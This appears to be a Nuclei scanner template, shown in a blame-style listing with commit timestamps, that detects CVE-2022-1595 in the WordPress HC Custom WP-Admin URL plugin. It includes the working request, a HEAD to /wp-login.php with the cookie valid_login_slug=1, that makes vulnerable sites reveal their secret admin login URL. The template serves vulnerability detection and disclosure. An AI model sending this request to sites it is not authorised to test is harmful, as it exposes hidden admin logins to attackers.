2022-12-13 11:39:39 +00:00
id : CVE-2022-1595
info :
2023-01-16 17:41:15 +00:00
name : WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure
2022-12-13 11:39:39 +00:00
author : theamanrawat
severity : medium
description : |
2023-01-16 17:41:15 +00:00
WordPress HC Custom WP-Admin URL plugin through 1.4 leaks the secret login URL when sending a specially crafted request, thereby allowing an attacker to discover the administrative login URL.
2022-12-13 11:39:39 +00:00
reference :
- https://wpscan.com/vulnerability/0218c90c-8f79-4f37-9a6f-60cf2f47d47b
- https://wordpress.org/plugins/hc-custom-wp-admin-url/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1595
classification :
2023-01-05 11:21:19 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score : 5.3
2022-12-13 11:39:39 +00:00
cve-id : CVE-2022-1595
2023-01-05 11:21:19 +00:00
cwe-id : CWE-200
2022-12-13 11:39:39 +00:00
metadata :
verified : "true"
2023-01-05 11:21:19 +00:00
tags : unauth,wpscan,cve,cve2022,wordpress,wp-plugin,wp,hc-custom-wp-admin-url
2022-12-13 11:39:39 +00:00
requests :
- raw :
- |
HEAD /wp-login.php HTTP/1.1
Host : {{Hostname}}
Cookie : valid_login_slug=1
matchers-condition : and
matchers :
- type : regex
part : header
regex :
- "Location: ([a-zA-Z0-9_.\\/-]+)"
2022-12-16 17:30:30 +00:00
- "wordpress_"
2022-12-16 06:36:40 +00:00
condition : and
2022-12-13 11:39:39 +00:00
- type : status
status :
2022-12-16 06:36:40 +00:00
- 302
2023-01-16 17:41:15 +00:00
# Enhanced by md on 2023/01/06